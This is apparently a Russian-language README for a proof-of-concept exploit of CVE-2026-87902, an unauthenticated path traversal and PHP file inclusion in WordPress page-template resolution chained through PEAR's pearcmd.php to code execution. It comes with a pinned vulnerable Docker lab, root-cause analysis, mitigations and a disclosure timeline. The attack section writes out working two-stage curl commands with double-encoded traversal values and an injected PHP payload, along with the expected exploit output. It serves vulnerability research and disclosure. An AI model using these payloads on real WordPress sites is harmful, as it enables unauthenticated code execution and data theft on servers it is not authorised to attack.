
PoC для CVE-2026-87902 — неаутентифицированный обход пути в разрешении шаблонов страниц WordPress (локальное включение PHP, условное RCE) с закреплённой уязвимой лабораторией
Неаутентифицированное локальное включение PHP-файла в WordPress Core через дважды закодированное
значение pagename — и, при определённых условиях развёртывания, выполнение PHP-кода
с привилегиями учётной записи веб-сервера.
| CVE | CVE-2026-87902 |
| Уведомление вендора | GHSA-7hp8-65ch-5whp |
| Разбор | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| Затронуто | WordPress Core 4.7.0 – 7.1.1 (все ветки, согласно диапазонам по веткам в уведомлении); динамически воспроизведено на 7.0.2 |
| Исправлено | 7.1.2 (ветка 7.1), 7.0.6 (ветка 7.0) и бэкпорт для каждой ветки вплоть до 4.7.37 (согласно уведомлению) |
| Слабости | CWE-98 (ненадлежащий контроль имени файла при include), CWE-22 / CWE-23 (обход пути) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (дополнительно) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| Аутентификация | отсутствует — без учётной записи, cookie, nonce, сессии, плагина или исходящего запроса |
| Взаимодействие с пользователем | отсутствует |
| Автор | Robert Ressl — ressl.ch |
| PoC проверен | 2026-09-22 на лабораторном стенде в этом репозитории — см. Проверенные результаты |
WordPress разрешает шаблон страницы через цепочку, которая нигде не доказывает, что выбранный файл остаётся внутри корня темы:
pagename и page_id — публичные переменные запроса, которые WP::parse_request()
принимает из анонимного тела POST.pagename переживает раннюю санитизацию
запроса как экранированные октеты %xx (wp_basename() не видит %2f как
разделитель, а sanitize_title_with_dashes() намеренно сохраняет корректные
октеты).page_id выбирает реальную опубликованную страницу, тогда как вредоносный
pagename остаётся в объекте запроса.get_page_template() вызывает urldecode() для этого значения и добавляет
кандидата, такого как page-templates/../../../../../../../usr/local/lib/php/pearcmd.php,
в иерархию шаблонов.locate_template() и финальный загрузчик шаблона проверяют только существование,
читаемость и суффикс .php/.html — но никогда то, что канонический путь
по-прежнему находится внутри разрешённого корня темы — и затем выполняет include.Это неаутентифицированный примитив удалённого локального включения файла в WordPress
Core. На протестированной официальной среде выполнения (wordpress:php8.3-apache, которая включает
PEAR и не загружает php.ini, поэтому register_argc_argv имеет значение On), включение было
сцеплено через pearcmd.php из PEAR: первый анонимный запрос заставляет
config-create записать контролируемый атакующим PHP-код в /tmp, второй анонимный
запрос включает этот файл и выполняет его от имени www-data.
Отсутствие ограничения пути в Core и есть уязвимость. PEAR — лишь один зависящий от окружения маршрут от включения к выполнению кода — это не зависимость WordPress, и он присутствует или пригоден не во всех развёртываниях.
Проверенные местоположения в исходном коде (WordPress 7.0.2):
| # | Расположение | Роль |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename и page_id — публичные переменные запроса, и они читаются из $_POST |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f не является разделителем для wp_basename() |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() сохраняет корректные октеты %xx вместо их удаления |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — обход пути становится активным после санитизации |
| 5 | wp-includes/template.php:722-736 | locate_template() конкатенирует кандидата под каждым корнем темы и вызывает только file_exists() |
| 6 | wp-includes/template-loader.php:116-132 | realpath() нормализует путь, затем include выполняется без канонической проверки нахождения внутри корня |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() завершается досрочно для не-GET/HEAD, поэтому POST не канонизируется и не отбрасывается |
Автономному примитиву включения требуется:
| # | Предусловие | Причина |
|---|---|---|
| 1 | Опубликованная, анонимно доступная страница, выбранная числовым page_id | страница должна быть возвращена запросом после неудачи поиска по имени пути |
| 2 | Отсутствие более раннего разрешаемого пользовательского шаблона страницы | корректный назначенный шаблон упорядочен перед вредоносным кандидатом |
| 3 | Каталог верхнего уровня в активной (дочерней или родительской) теме, имя которого начинается с page-, например page-templates/ | WordPress добавляет фиксированный префикс page-, поэтому обход .. не может начаться с позиции 0; каталог должен лишь существовать и быть проходимым — он не обязан быть доступным для записи |
| 4 | Выбранный локальный .php-файл, который существует и читаем пользователем PHP | загрузчик проверяет is_file()/is_readable() и требует суффикс .php |
| 5 | Отсутствие ограничения файловой системы, блокирующего этот файл | open_basedir или политика MAC могут предотвратить включение |
Продемонстрированному этапу с PEAR дополнительно нужны читаемый pearcmd.php (вместе с его
зависимостями), register_argc_argv=On для веб-SAPI и доступный для записи выходной
каталог. В производственных файлах php.ini устанавливается register_argc_argv=Off; протестированный
образ не загружает php.ini, поэтому применялось скомпилированное значение по умолчанию (On). Это
важное ограничение на распространённость продемонстрированной цепочки выполнения кода.
Поставляемые темы Twenty Twenty-Three/Four/Five не содержат каталога page-*
верхнего уровня, поэтому стандартному лабораторному стенду нужна фикстура, описанная ниже. Пользовательские темы могут
законно использовать структуру page-templates/
(документация WordPress).
В уведомлении зафиксировано, где эти условия встречаются в поставляемом ПО: условие темы
выполняется для устаревших тем Twenty Twelve и Twenty Fourteen и для
сторонних тем, таких как Neve, Hestia и Sydney, тогда как переход через PEAR
применим к официальному Docker-образу PHP и к конфигурациям cPanel по умолчанию,
работающим на PHP старше 8.5. (Twenty Twelve и Twenty Fourteen обе поставляются с
каталогом page-templates/ верхнего уровня; остальные утверждения принадлежат
уведомлению.) Этот репозиторий не измеряет, как часто применима полная цепочка.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py требует Python 3.6+ (только стандартная библиотека) и по умолчанию обращается к лабораторному стенду по
http://127.0.0.1:8091. Ожидаемый вывод:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
Код выхода — 0 при успехе и 1 в противном случае, поэтому PoC также работает как
проверка регрессии/обнаружения.
Остановка: docker compose down -v.
Запуск 2026-09-22 на этом лабораторном стенде (Docker 29.4, OrbStack, Apple silicon):
| Проверка | Результат |
|---|---|
| Этап 1 | HTTP 200; /tmp/wp-pear-rce-flag.php записан как www-data:www-data, режим 0644, 1219 байт |
| SHA-256 полезной нагрузки | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — совпадает с хешем, зафиксированным в исходном отчёте |
| Этап 2 | HTTP 200; внедрённый PHP вывел артефакт-доказательство с режимом 0444 |
| Вхождения маркера | 12 (PEAR сериализует контролируемое значение корня в 12 записей конфигурации) |
| Использованные учётные данные | отсутствуют — ни заголовка Cookie, ни Authorization ни в одном запросе |
| Негативный контроль | page-templates/ удалён → этап 2 возвращает обычную страницу, маркера нет, код выхода 1 |
Артефакт-доказательство — это /flag, принадлежащий root и доступный для чтения всем (root:root, режим
0444) внутри контейнера. Он доказывает выполнение PHP и доступ к файлу от имени
учётной записи веб-сервера; это не цель для повышения привилегий.
Два анонимных POST. Значения маршрутизации WordPress передаются в теле формы, а
аргументы PEAR — в необработанной строке запроса (PHP разбивает необработанную строку запроса по
литеральному + на argv и не выполняет URL-декодирование отдельных аргументов):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Этап 1 — включить pearcmd.php и записать полезную нагрузку:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Этап 2 — включить сгенерированный файл и выполнить его PHP:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
Важные детали:
templates%2f%2e%2e%2f...; санитайзер сохраняет эти октеты, и только
поздний urldecode() в get_page_template() превращает их в / и ...page-. WordPress добавляет page- к значению, поэтому каталог-фикстура
page-templates/ соответствует ведущему сегменту templates..php. Кандидат — это page-<decoded>.php, поэтому
цель указывается без суффикса (.../pearcmd, /tmp/wp-pear-rce-flag).POST, а не GET. redirect_canonical() пропускает не-GET/HEAD запросы, а
тело формы позволяет строке запроса нести только аргументы PEAR.wp_magic_quotes() также применяется к $_SERVER, поэтому
построенный сервером argv экранируется, а PEAR позже нормализует обратные слэши. Проверенная
полезная нагрузка использует chr() и не содержит символов кавычек. (Она сводится
к <?=file_get_contents('/flag')?>.)config-create. PEAR отклоняет относительный корень
(Root directory must be an absolute path beginning with "/"), поэтому полезная нагрузка
внедряется как сам корневой путь.cve-2026-87902.py перебирает сегменты .., пока обход пути не достигнет цели
(7 для структуры этого лабораторного стенда, --depth для фиксации).lab/up.sh выполняет три шага и безопасен для повторного запуска:
docker compose up -d --build --wait — закреплённый wordpress:7.0.2-php8.3-apache
плюс mysql:8.4, порт 127.0.0.1:8091 (только loopback).admin / adminadmin), если сайт ещё не
установлен.wp-content/themes/twentytwentyfive/page-templates/, root:root, режим
0755, пустой.Образ лабораторного стенда явно добавляет register_argc_argv=On (lab/Dockerfile) вместо
того, чтобы полагаться на скомпилированное значение по умолчанию, и встраивает /flag
(root:root, режим 0444, содержимое CVE-2026-87902-POC-OK).
| Компонент | Значение |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, модуль Apache |
| PEAR | 1.10.18 в /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| Тема | Twenty Twenty-Five + пустая фикстура page-templates/, принадлежащая root |
| Целевая страница | опубликованная Sample Page, ID 2, шаблон по умолчанию |
| Артефакт-доказательство | /flag, root:root, режим 0444 |
Плавающий тег
wordpress:php8.3-apacheне пригоден для этого лабораторного стенда: ошибка исправлена в 7.1.2, и незакреплённый тег незаметно делает стенд пропатченным.
Проверенные или задокументированные контроли:
page-* верхнего уровня в теме → фиксированный префикс невозможно
удалить, и обход пути никогда не начинается (проверено: фикстура удалена → маркера нет).register_argc_argv=Off → нет записывающего компонента PEAR, но примитив включения остаётся... → цель не достигнута (проверено: глубины 1-6 и
8-12 не дают маркера в лабораторном стенде)./flag) не может быть прочитан напрямую — к кандидату
добавляется .php.<, >, = в целевом
запросе, ломает канал аргументов PEAR (зависит от развёртывания).open_basedir/MAC или недоступный для записи выходной каталог ломают
цепочку; noexec на /tmp — нет (PHP читает и интерпретирует файл).Этот PoC воспроизводит одну проверенную конфигурацию. Он не утверждает, что каждая установка WordPress эксплуатируема, и не измеряет распространённость.
validate_file()), а перед включением
найденного шаблона сравнивайте realpath() кандидата и корня темы с
завершающим разделителем каталога.register_argc_argv=Off для веб-SAPI, удалите
неиспользуемые доступные из веба точки входа PEAR из производственных образов, проведите аудит дочерних и
родительских тем на предмет каталогов page-* верхнего уровня и ограничьте доступ на запись
для учётной записи PHP.| Путь | Назначение |
|---|---|
cve-2026-87902.py | эксплойт: обнаружение страницы, оба этапа, обработка глубины, проверка маркера |
lab/up.sh | приводит лабораторный стенд в точное состояние, ожидаемое эксплойтом (идемпотентно) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, порт только на loopback |
lab/Dockerfile | закрепляет уязвимый релиз, устанавливает register_argc_argv=On, встраивает /flag |
lab/flag | содержимое артефакта-доказательства |
| Дата | Событие |
|---|---|
| 2026-07-20 | Сообщено приватно через программу WordPress HackerOne |
| 2026-07-21 | Получение подтверждено |
| 2026-09-15 | Сообщено, что исправление запланировано в ближайшем релизе; запрошены данные об атрибуции |
| 2026-09-22 | Выпущен WordPress 7.1.2 с исправлением; опубликовано уведомление GHSA-7hp8-65ch-5whp |
Отчёт был принят как действительная находка в области безопасности после пересмотра первоначальной классификации; переписка не датирует это принятие.
Этот репозиторий публикуется в целях защиты и исследований. Используйте его только
против систем, которыми вы владеете или которые вам явно разрешено тестировать. Лабораторный стенд привязан
к 127.0.0.1 и не должен быть доступен из недоверенных сетей.
MIT — см. LICENSE. Метаданные цитирования находятся в CITATION.cff:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
Отчёт об уязвимости и этот PoC были подготовлены с использованием ИИ для проверки организации и согласованности; исследователь несёт ответственность за технические утверждения.